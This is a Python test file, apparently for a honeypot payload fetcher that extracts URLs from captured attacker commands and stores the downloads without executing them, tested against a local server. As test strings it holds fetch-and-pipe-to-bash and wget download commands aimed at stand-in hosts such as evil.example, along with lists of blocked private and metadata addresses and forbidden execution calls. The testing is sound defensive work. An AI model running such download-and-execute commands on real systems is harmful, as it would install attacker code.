104 lines
4.1 KiB
Python
104 lines
4.1 KiB
Python
"""Run: python3 test_payload_fetch.py. Local fixtures only; no real outbound connections."""
|
|
import http.server
|
|
import pathlib
|
|
import threading
|
|
import time
|
|
|
|
from payload_fetch import Fetcher, extract_urls, public_addresses
|
|
|
|
# Static guarantee: the fetcher has no way to execute or pipe anything.
|
|
SOURCE = (pathlib.Path(__file__).parent / 'payload_fetch.py').read_text()
|
|
for forbidden in ('subprocess', 'os.system', 'os.popen', 'eval(', 'exec(', '__import__', 'pty.'):
|
|
assert forbidden not in SOURCE, 'payload_fetch contains ' + forbidden
|
|
|
|
assert extract_urls('curl http://evil.example/a.sh -o /tmp/a; wget https://x.example/b') == [
|
|
'http://evil.example/a.sh', 'https://x.example/b']
|
|
assert extract_urls('echo hi | bash') == []
|
|
assert extract_urls('curl http://evil/a|bash') == ['http://evil/a']
|
|
for blocked in ('127.0.0.1', '169.254.169.254', '10.0.0.1', '192.168.1.1', '::1'):
|
|
try:
|
|
public_addresses(blocked)
|
|
raise AssertionError(blocked)
|
|
except ValueError:
|
|
pass
|
|
|
|
PAYLOAD = b'\x00MZ-inert-download\xff' * 64
|
|
|
|
|
|
class Fixture(http.server.BaseHTTPRequestHandler):
|
|
def log_message(self, *args):
|
|
pass
|
|
|
|
def do_GET(self):
|
|
if self.path == '/redirect':
|
|
self.send_response(302)
|
|
self.send_header('Location', '/payload')
|
|
self.end_headers()
|
|
elif self.path == '/big':
|
|
self.send_response(200)
|
|
self.send_header('Content-Type', 'application/octet-stream')
|
|
self.end_headers()
|
|
self.wfile.write(b'A' * 4096)
|
|
else:
|
|
self.send_response(200)
|
|
self.send_header('Content-Type', 'application/octet-stream')
|
|
self.end_headers()
|
|
self.wfile.write(PAYLOAD)
|
|
|
|
|
|
def main():
|
|
server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), Fixture)
|
|
port = server.server_port
|
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
|
thread.start()
|
|
rows = []
|
|
try:
|
|
fetcher = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
|
|
resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=1024 * 1024)
|
|
base = f'http://127.0.0.1:{port}'
|
|
ctx = {'peer': '8.8.8.8', 'request_id': 'req-1'}
|
|
|
|
# exact bytes stored, correlated context preserved
|
|
fetcher._fetch(base + '/payload', ctx)
|
|
download = rows[-1]
|
|
assert download['event'] == 'payload_download' and download['content'] == PAYLOAD
|
|
assert download['peer'] == '8.8.8.8' and download['request_id'] == 'req-1'
|
|
assert download['status'] == 200 and download['truncated'] is False
|
|
|
|
# redirects are followed through the same validated resolver
|
|
fetcher._fetch(base + '/redirect', ctx)
|
|
assert rows[-1]['event'] == 'payload_download' and rows[-1]['url'].endswith('/payload')
|
|
|
|
# size cap marks truncation
|
|
small = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
|
|
resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=256)
|
|
small._fetch(base + '/big', ctx)
|
|
assert rows[-1]['truncated'] is True and len(rows[-1]['content']) == 256
|
|
|
|
# non-allowed port is rejected before any socket is opened
|
|
strict = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
|
|
resolver=lambda host: ['127.0.0.1'], ports=(80, 443))
|
|
try:
|
|
strict._fetch(base + '/payload', ctx)
|
|
raise AssertionError('non-allowed port accepted')
|
|
except ValueError:
|
|
pass
|
|
|
|
# submit runs in background and stores the asset
|
|
before = len(rows)
|
|
fetcher.submit(f'wget {base}/payload -O /tmp/x', ctx)
|
|
for _ in range(50):
|
|
if any(r['event'] == 'payload_download' for r in rows[before:]):
|
|
break
|
|
time.sleep(0.05)
|
|
assert any(r['event'] == 'payload_download' for r in rows[before:])
|
|
finally:
|
|
server.shutdown()
|
|
server.server_close()
|
|
thread.join(3)
|
|
print('PASS: payload fetcher downloads and stores assets, blocks private/ports, never executes')
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|